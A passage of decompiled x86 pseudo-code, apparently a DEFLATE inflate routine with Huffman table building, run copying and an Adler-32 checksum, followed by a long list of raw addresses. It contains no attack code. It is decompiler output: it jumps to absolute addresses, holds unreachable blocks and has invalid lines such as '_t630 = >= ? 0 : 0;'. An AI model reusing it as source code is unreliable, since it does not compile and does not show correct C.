									_t725 =  *((short*)(_t1030 + 0x160 + (_t968 & 0x000003ff) * 2));
									 *(_t1065 - 0x1c) = _t725;
									__eflags = _t725;
									if(_t725 < 0) {
										L53:
										goto 0x2c1472;
										asm("int3");
										asm("int3");
										asm("int3");
										do {
											L54:
											_t727 = _t968 >> _t861;
											_t861 = _t861 + 1;
											_t847 =  *((short*)(_t1030 + 0x960 + ((_t727 & 0x00000001) +  !_t847) * 2));
											__eflags = _t847;
										} while (_t847 < 0);
										 *(_t1065 - 0x1c) = _t847;
										_t847 =  *(_t1065 - 0x18);
									} else {
										L52:
										_t861 = _t725 >> 9;
									}
									L56:
									_t618 =  *(_t1065 - 8);
									_t1050 = _t1050 - _t861;
									_t968 = _t968 >> _t861;
									 *(_t1065 - 4) = _t968;
									 *( *(_t1065 - 0x10)) = _t618;
									_t861 =  *(_t1065 - 0x1c);
									__eflags = _t861 & 0x00000100;
									if((_t861 & 0x00000100) != 0) {
										L83:
										_t171 = _t1065 - 0x10;
										 *_t171 =  *(_t1065 - 0x10) + 1;
										__eflags =  *_t171;
										goto L84;
									} else {
										L57:
										_t730 =  *(_t1065 - 0x10);
										 *(_t730 + 1) = _t861;
										 *(_t1065 - 0x10) = _t730 + 2;
										continue;
										do {
											do {
												while(1) {
													L39:
													_t860 =  *(_t1065 - 0x20) - _t847;
													__eflags = _t860 - 4;
													if(_t860 < 4) {
														goto L58;
													}
													goto L40;
												}
												L26:
												__eflags = _t870;
											} while (_t870 == 0);
											goto 0x2c140c;
											asm("int3");
											_t734 =  *_t740;
											 *_t1030 = _t734;
											_t1030 =  *(_t1065 - 0x14);
											__eflags = _t870 - 1;
											if(_t870 > 1) {
												L29:
												L36:
												goto 0x2c1448;
												asm("int3");
												 *(_t968 + 1) =  *((intOrPtr*)(_t734 + 1));
												_t968 =  *(_t1065 - 4);
											}
											L38:
											_t86 = _t1065 - 0x10;
											 *_t86 =  *(_t1065 - 0x10) + _t870;
											__eflags =  *_t86;
											while(1) {
												L39:
												_t860 =  *(_t1065 - 0x20) - _t847;
												__eflags = _t860 - 4;
												if(_t860 < 4) {
													goto L58;
												}
												goto L40;
											}
											L33:
											 *(_t1065 - 0x10) = _t1030;
											_t1030 =  *(_t1065 - 0x14);
											 *(_t1065 - 0xc) = _t968;
											_t968 =  *(_t1065 - 4);
											 *(_t1065 - 8) = _t870;
											__eflags = _t870;
										} while (_t870 <= 0);
										goto 0x2c1434;
										asm("int3");
										_t734 =  *_t624;
										 *_t1030 = _t734;
										_t1030 =  *(_t1065 - 0x14);
										__eflags = _t870 - 1;
										if(_t870 > 1) {
											goto L36;
										}
										goto L38;
									}
								}
							}
							L295:
							_t972 =  *(_t1065 - 4);
							L296:
							 *(_t1030 + 4) = _t1050;
							asm("bts ecx, esi");
							__eflags = _t1050 - 0x20;
							_t630 =  >=  ? 0 : 0;
							_t874 = 0 ^ _t630;
							__eflags = _t1050 - 0x40;
							_t631 =  >=  ? _t874 : _t630;
							 *(_t1030 + 0x20) =  *(_t1065 - 0x28);
							_t974 =  *(_t1065 - 0x10) -  *(_t1065 + 0x10);
							__eflags =  *(_t1065 + 0x18) & 0x00000009;
							 *(_t1030 + 0x24) =  *(_t1065 - 8);
							 *(_t1030 + 0x28) =  *(_t1065 - 0x38);
							 *((intOrPtr*)(_t1030 + 0x3c)) =  *((intOrPtr*)(_t1065 - 0x48));
							 *(_t1030 + 0x38) = _t874 - 0x00000001 & _t972;
							 *(_t1065 - 0x10) = _t974;
							 *((intOrPtr*)( *((intOrPtr*)(_t1065 + 8)))) = _t847 -  *(_t1065 - 0x3c);
							_t851 =  *(_t1065 - 0xc);
							 *( *(_t1065 + 0x14)) = _t974;
							if(( *(_t1065 + 0x18) & 0x00000009) != 0) {
								L297:
								__eflags = _t851;
								if(_t851 >= 0) {
									L298:
									_t1052 =  *(_t1030 + 0x1c);
									_t877 = _t1052 & 0x0000ffff;
									_t641 = (0x5e6ea9af * _t974 >> 0x20 >> 0xb) * 0x15b0;
									_t1053 = _t1052 >> 0x10;
									 *(_t1065 - 0x3c) = _t1053;
									_t978 =  *(_t1065 - 0x10) - _t641;
									__eflags =  *(_t1065 - 0x10);
									 *(_t1065 - 0x34) = _t978;
									if( *(_t1065 - 0x10) != 0) {
										L299:
										_t853 = _t978;
										do {
											L300:
											_t979 = 0;
											 *(_t1065 + 0x14) = 0;
											__eflags = _t853 - 7;
											if(_t853 > 7) {
												L301:
												goto 0x2c15c6;
												asm("int3");
												asm("int3");
												asm("int3");
												L302:
												_t1033 = _t1030 - _t641;
												__eflags = _t1033;
												do {
													L303:
													_t979 =  &(_t979[2]);
													_t879 = _t877 + ( *_t641 & 0x000000ff);
													_t880 = _t879 + ( *( *(_t1065 + 0x10) + 1) & 0x000000ff);
													_t881 = _t880 + ( *(2 +  *(_t1065 + 0x10)) & 0x000000ff);
													_t882 = _t881 + ( *( *(_t1065 + 0x10) + 3) & 0x000000ff);
													_t883 = _t882 + ( *( *(_t1065 + 0x10) + 4) & 0x000000ff);
													_t884 = _t883 + ( *( *(_t1065 + 0x10) + 5) & 0x000000ff);
													_t885 = _t884 + ( *( *(_t1065 + 0x10) + 6) & 0x000000ff);
													_t877 = _t885 + ( *( *(_t1065 + 0x10) + 7) & 0x000000ff);
													_t671 =  *(_t1065 + 0x10) + 8;
													_t1053 = _t1053 + _t879 + _t880 + _t881 + _t882 + _t883 + _t884 + _t885 + _t877;
													 *(_t1065 + 0x10) = _t671;
													__eflags = _t1033 + _t671 - _t853;
													_t641 =  *(_t1065 + 0x10);
												} while (_t1033 + _t671 < _t853);
												 *(_t1065 + 0x14) = _t979;
												 *(_t1065 - 0x3c) = _t1053;
											}
											L305:
											_t1030 = 0;
											 *((intOrPtr*)(_t1065 + 8)) = 0;
											__eflags = _t979 - _t853;
											if(_t979 < _t853) {
												L306:
												__eflags = _t853 - _t979 - 2;
												if(_t853 - _t979 >= 2) {
													L307:
													_t651 =  *(_t1065 + 0x14);
													_t1056 =  *(_t1065 + 0x10);
													_t854 = 0;
													_t990 = (_t853 - _t651 - 2 >> 1) + 1;
													__eflags = _t990;
													 *(_t1065 + 0x14) = _t651 + _t990 * 2;
													do {
														L308:
														_t878 = _t877 + ( *_t1056 & 0x000000ff);
														_t654 =  *(_t1056 + 1) & 0x000000ff;
														_t1030 = _t1030 + _t878;
														_t1056 = 2 + _t1056;
														_t877 = _t878 + _t654;
														_t854 = _t854 + _t877;
														_t990 = _t990 - 1;
														__eflags = _t990;
													} while (_t990 != 0);
													_t979 =  *(_t1065 + 0x14);
													 *(_t1065 + 0x10) = _t1056;
													_t1053 =  *(_t1065 - 0x3c);
													 *((intOrPtr*)(_t1065 + 8)) = _t854;
													_t853 =  *(_t1065 - 0x34);
												}
												L310:
												__eflags = _t979 - _t853;
												if(_t979 < _t853) {
													_t984 =  *(_t1065 + 0x10);
													_t877 = _t877 + ( *_t984 & 0x000000ff);
													_t1053 = _t1053 + _t877;
													_t985 =  &(_t984[1]);
													__eflags = _t985;
													 *(_t1065 + 0x10) = _t985;
												}
												L312:
												_t641 =  *((intOrPtr*)(_t1065 + 8)) + _t1030;
												_t1053 = _t1053 + _t641;
												__eflags = _t1053;
											}
											L313:
											L314:
											_t877 = _t877 + (_t641 * _t877 >> 0x20 >> 0xf) * 0xffff000f;
											_t641 = (0x80078071 * _t1053 >> 0x20 >> 0xf) * 0xffff000f;
											_t1053 = _t1053 + _t641;
											_t586 = _t1065 - 0x10;
											 *_t586 =  *(_t1065 - 0x10) - _t853;
											__eflags =  *_t586;
											_t853 = 0x15b0;
											 *(_t1065 - 0x3c) = _t1053;
											 *(_t1065 - 0x34) = 0x15b0;
										} while ( *_t586 != 0);
										goto 0x2c15ef;
										asm("int3");
									}
									L316:
									_t1055 = (_t1053 << 0x10) + _t877;
									 *(_t1030 + 0x1c) = _t1055;
									__eflags = _t851;
									if(_t851 == 0) {
										__eflags =  *(_t1065 + 0x18) & 0x00000001;
										if(( *(_t1065 + 0x18) & 0x00000001) != 0) {
											__eflags = _t1055 -  *(_t1030 + 0x10);
											_t851 =  !=  ? 0xfffffffe : _t851;
										}
									}
								}
							}
							L319:
							return _t851;
							L320:
							L58:
							__eflags = _t1050 - 0xf;
							if(_t1050 >= 0xf) {
								L75:
								_t603 =  *((short*)(_t1030 + 0x160 + (_t968 & 0x000003ff) * 2));
								 *(_t1065 - 8) = _t603;
								__eflags = _t603;
								if(_t603 < 0) {
									L77:
									goto 0x2c149b;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L78:
										_t605 = _t968 >> _t860;
										_t860 = _t860 + 1;
										_t847 =  *((short*)(_t1030 + 0x960 + ((_t605 & 0x00000001) +  !_t847) * 2));
										__eflags = _t847;
									} while (_t847 < 0);
									 *(_t1065 - 8) = _t847;
									_t847 =  *(_t1065 - 0x18);
								} else {
									L76:
									_t860 = _t603 >> 9;
									_t618 = _t603 & 0x000001ff;
									 *(_t1065 - 8) = _t618;
								}
								L80:
								_t968 = _t968 >> _t860;
								_t1050 = _t1050 - _t860;
								_t861 =  *(_t1065 - 8);
								 *(_t1065 - 4) = _t968;
								__eflags = _t861 - 0x100;
								if(_t861 >= 0x100) {
									goto L84;
								} else {
									L81:
									_t769 =  *(_t1065 - 0x10);
									__eflags = _t769 -  *((intOrPtr*)(_t1065 - 0x40));
									if(_t769 >=  *((intOrPtr*)(_t1065 - 0x40))) {
										L240:
										 *(_t1065 - 0xc) = 2;
										 *_t1030 = 0x18;
										goto L292;
									} else {
										L82:
										 *_t769 = _t861;
										 *(_t1065 - 0x10) = _t769 + 1;
										continue;
									}
								}
							} else {
								L59:
								__eflags = _t860 - 2;
								if(_t860 >= 2) {
									L73:
									_t969 =  *(_t847 + 1) & 0x000000ff;
									_t625 =  *_t847 & 0x000000ff;
									_t847 = _t847 + 2;
									_t860 = _t1050;
									 *(_t1065 - 0x18) = _t847;
									 *(_t1065 - 4) =  *(_t1065 - 4) | _t969 << _t1050 + 0x00000008 | _t625 << _t860;
									_t1050 = _t1050 + 0x10;
									__eflags = _t1050;
									_t968 =  *(_t1065 - 4);
									goto L74;
								} else {
									do {
										L60:
										_t618 = _t968 & 0x000003ff;
										_t1031 =  *((short*)(_t1030 + 0x160 + _t618 * 2));
										__eflags = _t1031;
										if(_t1031 < 0) {
											L64:
											__eflags = _t1050 - 0xa;
											if(_t1050 <= 0xa) {
												goto L69;
											} else {
												L65:
												 *(_t1065 - 0x1c) = _t860;
												while(1) {
													L67:
													_t1031 =  *((short*)( *(_t1065 - 0x14) + 0x960 + ((_t968 >> _t860 & 0x00000001) +  !_t1031) * 2));
													_t860 =  *(_t1065 - 0x1c) + 1;
													 *(_t1065 - 0x1c) = _t860;
													__eflags = _t1031;
													if(_t1031 >= 0) {
														goto L74;
													}
													L68:
													_t618 = _t860 + 1;
													__eflags = _t1050 - _t618;
													if(_t1050 >= _t618) {
														continue;
													} else {
														goto L69;
													}
													goto L295;
												}
												goto L74;
											}
										} else {
											L61:
											_t1035 = _t1031 >> 9;
											__eflags = _t1035;
											if(_t1035 == 0) {
												L69:
												_t1030 =  *(_t1065 - 0x14);
												L70:
												__eflags = _t847 -  *(_t1065 - 0x20);
												if(_t847 >=  *(_t1065 - 0x20)) {
													L239:
													 *_t1030 = 0x17;
													goto L285;
												} else {
													goto L71;
												}
											} else {
												L62:
												__eflags = _t1050 - _t1035;
												if(_t1050 >= _t1035) {
													L74:
													_t1030 =  *(_t1065 - 0x14);
													goto L75;
												} else {
													L63:
													goto L69;
												}
											}
										}
										goto L295;
										L71:
										_t860 = _t1050;
										_t675 = ( *_t847 & 0x000000ff) << _t860;
										_t847 = _t847 + 1;
										_t968 = _t968 | _t675;
										 *(_t1065 - 0x18) = _t847;
										_t1050 = _t1050 + 8;
										 *(_t1065 - 4) = _t968;
										__eflags = _t1050 - 0xf;
									} while (_t1050 < 0xf);
									goto L75;
								}
							}
							goto L295;
						}
					}
					L142:
					 *(_t1065 - 0xc) = 0x40 + _t600 * 0xda0 + _t1030;
					memset(_t1065 - 0xd0, 0, 0x40);
					memset( *(_t1065 - 0xc) + 0x120, 0, 0x800);
					memset( *(_t1065 - 0xc) + 0x920, 0, 0x480);
					_t903 = 0;
					_t1068 = _t1068 + 0x24;
					_t1003 = _t1030 + ( *(_t1030 + 0x18) + 0xb) * 4;
					 *(_t1065 - 0x44) = _t1003;
					if( *_t1003 > 0) {
						L143:
						_t1030 =  *(_t1065 - 0xc);
						do {
							L144:
							_t845 =  *(_t903 + _t1030) & 0x000000ff;
							_t903 = _t903 + 1;
							 *((intOrPtr*)(_t1065 + _t845 * 4 - 0xd0)) =  *((intOrPtr*)(_t1065 + _t845 * 4 - 0xd0)) + 1;
						} while (_t903 <  *_t1003);
					}
					L145:
					goto 0x2c1500;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					L146:
					 *(_t1065 - 0x8c) = _t903;
					 *(_t1065 - 0x90) = _t903;
					 *(_t1065 - 0x2c) = _t903;
					 *(_t1065 - 0x30) = _t903;
					do {
						L147:
						_t782 =  *((intOrPtr*)(_t1065 + _t1003 - 0xd4));
						_t905 = _t903 + _t782 + _t903 + _t782;
						_t1030 = _t1030 + _t782;
						_t783 =  *((intOrPtr*)(_t1065 + _t1003 - 0xd0));
						 *(_t1065 - 0x30) =  *(_t1065 - 0x30) + _t783;
						 *((intOrPtr*)(_t1065 + _t1003 - 0x90)) = _t905;
						_t784 =  *((intOrPtr*)(_t1065 + _t1003 - 0xcc));
						_t907 = _t905 + _t783 + _t905 + _t783;
						 *(_t1065 - 0x2c) =  *(_t1065 - 0x2c) + _t784;
						 *((intOrPtr*)(_t1065 + _t1003 - 0x8c)) = _t907;
						_t903 = _t907 + _t784 + _t907 + _t784;
						 *(_t1065 + _t1003 - 0x88) = _t903;
						_t1003 = _t1003 + 0xc;
					} while (_t1003 <= 0x40);
					 *(_t1065 - 0x4c) = _t903;
					 *(_t1065 - 0x24) = _t1030;
					_t1030 =  *(_t1065 - 0x14);
					_t910 =  *(_t1065 - 0x24) +  *(_t1065 - 0x2c) +  *(_t1065 - 0x30);
					if( *(_t1065 - 0x4c) == 0x10000 || _t910 <= 1) {
						L150:
						_t787 =  *(_t1065 - 0x44);
						 *(_t1065 - 0x30) = 0xffffffff;
						 *(_t1065 - 0x4c) = 0;
						if( *_t787 > 0) {
							L151:
							_t1064 =  *(_t1065 - 0x4c);
							do {
								L152:
								L153:
								_t922 =  *(_t1064 + _t787) & 0x000000ff;
								 *(_t1065 - 0x44) = _t922;
								if(_t922 != 0) {
									L154:
									_t824 =  *(_t1065 + _t922 * 4 - 0x90);
									 *(_t1065 - 0x2c) = _t824;
									 *(_t1065 + _t922 * 4 - 0x90) = _t824 + 1;
									 *(_t1065 - 0x24) = _t922;
									if(_t922 != 0) {
										L155:
										do {
											L156:
											 *(_t1065 - 0x2c) =  *(_t1065 - 0x2c) >> 1;
											_t844 =  *(_t1065 - 0x24) - 1;
											_t1003 = _t1003 + _t1003 |  *(_t1065 - 0x2c) & 0x00000001;
											 *(_t1065 - 0x24) = _t844;
										} while (_t844 != 0);
										_t922 =  *(_t1065 - 0x44);
									}
									L158:
									if(_t922 > 0xa) {
										L164:
										_t828 =  *(_t1065 - 0xc) + 0x120 + (_t1003 & 0x000003ff) * 2;
										_t847 =  *(_t1065 - 0x30);
										 *(_t1065 - 0x44) = _t828;
										_t829 =  *_t828;
										 *(_t1065 - 0x2c) = _t829;
										__eflags = _t829;
										if(_t829 == 0) {
											 *( *(_t1065 - 0x44)) = _t847;
											_t829 = _t847;
											_t847 = _t847 - 2;
											__eflags = _t847;
											 *(_t1065 - 0x2c) = _t829;
											 *(_t1065 - 0x30) = _t847;
										}
										L166:
										_t1011 = _t1003 >> 9;
										__eflags = _t922 - 0xb;
										if(_t922 > 0xb) {
											L167:
											_t923 = _t922 + 0xfffffff5;
											__eflags = _t923;
											 *(_t1065 - 0x24) = _t923;
											_t924 =  *(_t1065 - 0x2c);
											do {
												L168:
												_t1011 = _t1011 >> 1;
												_t834 = 0x48f - _t924 - (_t1011 & 0x00000001);
												_t927 =  *( *(_t1065 - 0xc) + 0x91e) & 0x0000ffff;
												__eflags = _t927;
												if(_t927 != 0) {
													_t924 = _t927;
												} else {
													 *( *(_t1065 - 0xc) + _t834 * 2) = _t847;
													_t835 =  *(_t1065 - 0x30);
													_t924 = _t835;
													_t836 = _t835 - 2;
													 *(_t1065 - 0x30) = _t836;
													_t847 = _t836;
												}
												L171:
												_t361 = _t1065 - 0x24;
												 *_t361 =  *(_t1065 - 0x24) - 1;
												__eflags =  *_t361;
											} while ( *_t361 != 0);
											 *(_t1065 - 0x2c) = _t924;
											_t829 = _t924;
										}
										L173:
										_t1003 = (_t1011 >> 0x00000001 & 0x00000001) - _t829;
										__eflags = _t1003;
										 *( *(_t1065 - 0xc) + 0x91e + _t1003 * 2) = _t1064;
									} else {
										L159:
										_t841 = (_t922 << 0x00000009 | _t1064) & 0x0000ffff;
										 *(_t1065 - 0x44) = _t841;
										if(_t1003 < 0x400) {
											L160:
											goto 0x2c152a;
											asm("int3");
											asm("int3");
											asm("int3");
											L161:
											_t842 = _t841 << _t922;
											 *(_t1065 - 0x4c) = _t842 + _t842;
											_t932 =  *(_t1065 - 0xc) + _t1003 * 2 + 0x120;
											do {
												L162:
												 *_t932 = _t1030;
												_t1003 = _t1003 + _t842;
												_t932 =  &(_t932[ *(_t1065 - 0x4c)]);
											} while (_t1003 < 0x400);
											_t1030 =  *(_t1065 - 0x14);
										}
									}
								}
								L174:
								_t787 =  *(_t1030 + 0x18);
								_t1064 = _t1064 + 1;
							} while (_t1064 <  *((intOrPtr*)(_t1030 + 0x2c + _t787 * 4)));
							goto 0x2c1540;
							asm("int3");
						}
						L176:
						if( *(_t1030 + 0x18) != 2) {
							L217:
							 *(_t1030 + 0x18) =  *(_t1030 + 0x18) - 1;
							goto L141;
						} else {
							L177:
							_t911 = 0;
							while(1) {
								L178:
								_t1004 =  *(_t1065 - 4);
								while(1) {
									L179:
									 *(_t1065 - 8) = _t911;
									if(_t911 >=  *(_t1030 + 0x30) +  *(_t1030 + 0x2c)) {
										break;
									}
									L180:
									if(_t1064 >= 0xf) {
										L197:
										_t802 =  *((short*)(_t1030 + 0x1ca0 + (_t1004 & 0x000003ff) * 2));
										 *(_t1065 - 0x28) = _t802;
										if(_t802 < 0) {
											L199:
											L200:
											do {
												L201:
												 *(_t1065 - 0x28) =  !( *(_t1065 - 0x28));
												_t804 = _t1004 >> _t911;
												_t911 = _t911 + 1;
												_t618 =  *((short*)(_t1030 + 0x24a0 + ((_t804 & 0x00000001) +  *(_t1065 - 0x28)) * 2));
												 *(_t1065 - 0x28) = _t618;
												__eflags = _t618;
											} while (__eflags < 0);
										} else {
											L198:
											_t911 = _t802 >> 9;
											_t618 = _t802 & 0x000001ff;
											 *(_t1065 - 0x28) = _t618;
										}
										L202:
										_t1004 = _t1004 >> _t911;
										_t1050 = _t1064 - _t911;
										 *(_t1065 - 4) = _t1004;
										 *(_t1065 - 0x1c) = _t1050;
										if(_t618 >= 0x10) {
											L204:
											if(__eflags != 0) {
												L207:
												_t912 =  *((char*)(_t618 + 0x2aeff0));
												 *(_t1065 - 0x38) = _t912;
												__eflags = _t1050 - _t912;
												if(_t1050 >= _t912) {
													L211:
													_t1050 = _t1050 - _t912;
													 *(_t1065 - 0x1c) = _t1050;
													_t913 =  *(_t1065 - 0x14);
													_t1046 = ((0x00000001 << _t912) - 0x00000001 & _t1004) +  *((char*)(_t618 + 0x2aeff8));
													__eflags =  *(_t1065 - 0x28) - 0x10;
													_t808 =  *(_t1065 - 8);
													 *(_t1065 - 4) = _t1004 >> _t912;
													if(__eflags != 0) {
														_t1007 = 0;
														__eflags = 0;
													} else {
														_t1007 =  *(_t808 + _t913 + 0x2923) & 0x000000ff;
													}
													L214:
													memset(_t808 + _t913 + 0x2924, _t1007, _t1046);
													_t1068 = _t1068 + 0xc;
													_t911 =  *(_t1065 - 8) + _t1046;
													_t1030 =  *(_t1065 - 0x14);
													L178:
													_t1004 =  *(_t1065 - 4);
													continue;
												} else {
													while(1) {
														L208:
														__eflags = _t847 -  *(_t1065 - 0x20);
														if(_t847 >=  *(_t1065 - 0x20)) {
															break;
														}
														L209:
														_t618 = ( *_t847 & 0x000000ff) << _t1050;
														_t847 = _t847 + 1;
														_t912 =  *(_t1065 - 0x38);
														_t1004 = _t1004 | _t618;
														_t1050 = _t1050 + 8;
														 *(_t1065 - 0x18) = _t847;
														 *(_t1065 - 4) = _t1004;
														__eflags = _t1050 - _t912;
														if(_t1050 < _t912) {
															continue;
														} else {
															L210:
															_t618 =  *(_t1065 - 0x28);
															goto L211;
														}
														goto L295;
													}
													L251:
													 *_t1030 = 0x12;
													goto L285;
												}
											} else {
												L205:
												_t812 =  *(_t1065 - 8);
												__eflags = _t812;
												if(_t812 == 0) {
													L268:
													_t689 = _t812 | 0xffffffff;
													 *_t1030 = 0x11;
													goto L291;
												} else {
													L206:
													_t618 =  *(_t1065 - 0x28);
													goto L207;
												}
											}
										} else {
											L203:
											_t917 =  *(_t1065 - 8);
											 *(_t1030 + 0x2924 + _t917) = _t618;
											_t911 = _t917 + 1;
											continue;
										}
									} else {
										L181:
										if( *(_t1065 - 0x20) - _t847 >= 2) {
											L195:
											_t1008 =  *(_t847 + 1) & 0x000000ff;
											_t815 =  *_t847 & 0x000000ff;
											_t847 = _t847 + 2;
											_t911 = _t1064;
											 *(_t1065 - 0x18) = _t847;
											 *(_t1065 - 4) =  *(_t1065 - 4) | _t1008 << _t1064 + 0x00000008 | _t815 << _t911;
											_t1064 = _t1064 + 0x10;
											__eflags = _t1064;
											_t1004 =  *(_t1065 - 4);
											goto L196;
										} else {
											do {
												L182:
												_t618 = _t1004 & 0x000003ff;
												_t1047 =  *((short*)(_t1030 + 0x1ca0 + _t618 * 2));
												if(_t1047 < 0) {
													L186:
													__eflags = _t1064 - 0xa;
													if(__eflags <= 0) {
														goto L191;
													} else {
														L187:
														L188:
														 *(_t1065 - 0x24) = _t911;
														while(1) {
															L189:
															_t1047 =  *((short*)( *(_t1065 - 0x14) + 0x24a0 + ((_t1004 >> _t911 & 0x00000001) +  !_t1047) * 2));
															_t911 =  *(_t1065 - 0x24) + 1;
															 *(_t1065 - 0x24) = _t911;
															__eflags = _t1047;
															if(__eflags >= 0) {
																goto L196;
															}
															L190:
															_t618 = _t911 + 1;
															__eflags = _t1064 - _t618;
															if(__eflags >= 0) {
																continue;
															} else {
																goto L191;
															}
															goto L295;
														}
														goto L196;
													}
												} else {
													L183:
													_t1049 = _t1047 >> 9;
													if(_t1049 == 0) {
														L191:
														_t1030 =  *(_t1065 - 0x14);
														L192:
														if(_t847 >=  *(_t1065 - 0x20)) {
															L250:
															 *_t1030 = 0x10;
															goto L285;
														} else {
															goto L193;
														}
													} else {
														L184:
														if(_t1064 >= _t1049) {
															L196:
															_t1030 =  *(_t1065 - 0x14);
															goto L197;
														} else {
															L185:
															goto L191;
														}
													}
												}
												goto L295;
												L193:
												_t911 = _t1064;
												_t819 = ( *_t847 & 0x000000ff) << _t911;
												_t847 = _t847 + 1;
												_t1004 = _t1004 | _t819;
												 *(_t1065 - 0x18) = _t847;
												_t1064 = _t1064 + 8;
												 *(_t1065 - 4) = _t1004;
											} while (_t1064 < 0xf);
											goto L197;
										}
									}
									goto L295;
								}
								L215:
								_t1005 =  *(_t1030 + 0x2c);
								_t791 =  *(_t1030 + 0x30) + _t1005;
								__eflags = _t791 - _t911;
								if(_t791 != _t911) {
									L269:
									_t689 = _t791 | 0xffffffff;
									 *_t1030 = 0x15;
									goto L291;
								} else {
									L216:
									memcpy(_t1030 + 0x40, _t1030 + 0x2924, _t1005);
									_t797 =  *(_t1030 + 0x2c) + 0x2924 + _t1030;
									__eflags = _t797;
									memcpy(_t1030 + 0xde0, _t797,  *(_t1030 + 0x30));
									_t1068 = _t1068 + 0x18;
									goto L217;
								}
								goto L295;
							}
						}
					} else {
						L267:
						 *(_t1065 - 0xc) = 0xffffffff;
						 *_t1030 = 0x23;
						goto L292;
					}
					goto L295;
				}
			}

0x002a5d95
0x002a5d95
0x002a5d95
0x002a5d96
0x002a5d98
0x002a5d9a
0x002a5d9c
0x002a5d9d
0x002a5d9f
0x002a5da1
0x002a5da8
0x002a5dae
0x002a5db6
0x002a5db9
0x002a5dbe
0x002a5dc3
0x002a5dc8
0x002a5dcd
0x002a5dd5
0x002a5ddd
0x002a5de5
0x002a5ded
0x002a5df5
0x002a5dfb
0x002a5e03
0x002a5e07
0x002a5e0c
0x002a5e11
0x002a5e16
0x002a5e1b
0x002a5e20
0x002a5e25
0x002a5e2d
0x002a5e32
0x002a5e3a
0x002a5e44
0x002a5e4e
0x002a5f59
0x002a5f59
0x002a5f59
0x002a5f5e
0x00000000
0x00000000
0x002a63fe
0x002a63fe
0x002a58f8
0x002a58f8
0x002a58fb
0x002a58fd
0x002a5900
0x00000000
0x00000000
0x002a5906
0x002a590c
0x002a590f
0x002a5912
0x00000000
0x002a5918
0x002a5918
0x002a5918
0x002a591b
0x002a591d
0x002a5921
0x002a5923
0x002a5926
0x002a592e
0x002a5933
0x002a5936
0x002a5936
0x002a5939
0x002a5939
0x002a5943
0x002a594b
0x002a594e
0x002a5950
0x002a5959
0x002a5959
0x002a595e
0x002a595f
0x002a5960
0x002a5961
0x002a5961
0x002a5965
0x002a5967
0x002a596b
0x002a596d
0x002a5975
0x002a5975
0x002a5979
0x002a597c
0x002a5952
0x002a5952
0x002a5954
0x002a5954
0x002a597f
0x002a597f
0x002a5981
0x002a5983
0x002a5986
0x002a5989
0x002a598f
0x002a5b5a
0x002a5b5a
0x002a5b60
0x002a5b63
0x002a5b69
0x002a6406
0x002a6406
0x002a640d
0x002a6413
0x002a6419
0x002a641c
0x002a641f
0x002a6421
0x002a645e
0x002a645e
0x002a6461
0x002a5714
0x002a571b
0x002a5723
0x002a5726
0x002a5728
0x002a5736
0x002a5736
0x002a573b
0x002a573c
0x002a573d
0x002a5740
0x002a5740
0x002a5744
0x002a5746
0x002a574c
0x002a5754
0x002a5754
0x002a5758
0x002a575b
0x002a575e
0x002a572a
0x002a572a
0x002a572c
0x002a572f
0x002a572f
0x002a5761
0x002a5761
0x002a5763
0x002a5765
0x002a576c
0x002a5773
0x002a5776
0x002a5779
0x002a577c
0x002a577e
0x002a57be
0x002a57c1
0x002a57c4
0x002a57c7
0x002a57c9
0x002a57d5
0x002a57d5
0x002a57dd
0x002a57e0
0x002a57e5
0x002a57e8
0x002a57ec
0x002a57ef
0x002a57f1
0x002a57f4
0x002a582f
0x002a582f
0x002a5832
0x002a5896
0x002a5896
0x002a589b
0x002a58a0
0x002a58a0
0x002a58a3
0x002a58a6
0x002a58ac
0x002a58af
0x002a58b3
0x002a58b6
0x002a58b9
0x002a58bc
0x002a58bc
0x00000000
0x002a5834
0x002a5834
0x002a5834
0x002a5837
0x00000000
0x002a5839
0x002a5839
0x002a5839
0x002a583e
0x002a5844
0x002a5846
0x002a5849
0x002a5850
0x002a5850
0x002a5852
0x002a5854
0x002a5857
0x002a585a
0x002a585d
0x002a5860
0x002a5860
0x002a5864
0x002a5867
0x002a586d
0x002a5870
0x002a5873
0x002a5876
0x002a5879
0x002a587c
0x00000000
0x00000000
0x00000000
0x00000000
0x002a587c
0x002a5837
0x00000000
0x002a57f6
0x002a57f6
0x002a57f6
0x002a57f6
0x002a57f8
0x002a57f9
0x002a57fc
0x002a57fe
0x00000000
0x00000000
0x002a5804
0x002a5807
0x002a580a
0x002a650f
0x002a650f
0x002a6516
0x00000000
0x002a5810
0x002a5810
0x002a5822
0x002a5825
0x002a5828
0x002a582a
0x00000000
0x002a582a
0x00000000
0x002a580a
0x002a58f8
0x002a58f8
0x002a58fb
0x002a58fd
0x002a5900
0x00000000
0x00000000
0x00000000
0x002a5900
0x00000000
0x002a58f8
0x002a57cb
0x002a57cb
0x002a57cb
0x002a57cf
0x002a66b4
0x002a66b4
0x002a66b7
0x00000000
0x00000000
0x00000000
0x00000000
0x002a57cf
0x002a5780
0x002a5780
0x002a5780
0x002a5782
0x002a57a7
0x002a57ac
0x002a57b1
0x002a57b3
0x002a57b5
0x002a57b5
0x002a57b5
0x002a57b8
0x002a57bb
0x00000000
0x002a5784
0x002a5784
0x002a5784
0x002a5784
0x002a5787
0x00000000
0x00000000
0x002a578d
0x002a5792
0x002a5794
0x002a5795
0x002a5798
0x002a579a
0x002a579d
0x002a57a0
0x002a57a3
0x002a57a5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a57a5
0x002a664c
0x002a664c
0x00000000
0x002a664c
0x002a5782
0x002a6467
0x002a6467
0x002a646c
0x002a646f
0x002a64e6
0x002a64e6
0x002a64ed
0x002a64f0
0x002a64f3
0x002a64f8
0x002a64fe
0x002a6501
0x002a6504
0x002a6507
0x00000000
0x002a6471
0x002a6471
0x002a6478
0x002a6480
0x002a6483
0x002a6485
0x002a649f
0x002a649f
0x002a64a2
0x00000000
0x002a64a8
0x002a64a8
0x002a64ad
0x002a64ad
0x002a64b0
0x002a64b0
0x002a64be
0x002a64c9
0x002a64ca
0x002a64cd
0x002a64d0
0x002a64d2
0x00000000
0x00000000
0x002a64d8
0x002a64d8
0x002a64d9
0x002a64db
0x00000000
0x002a64e1
0x002a64e1
0x002a64e1
0x00000000
0x002a64e1
0x00000000
0x002a64db
0x00000000
0x002a64b0
0x002a6487
0x002a6487
0x002a6487
0x002a648a
0x002a648c
0x002a56ef
0x002a56ef
0x002a56f2
0x002a6657
0x002a6657
0x00000000
0x00000000
0x00000000
0x00000000
0x002a6492
0x002a6492
0x002a6492
0x002a6494
0x00000000
0x002a649a
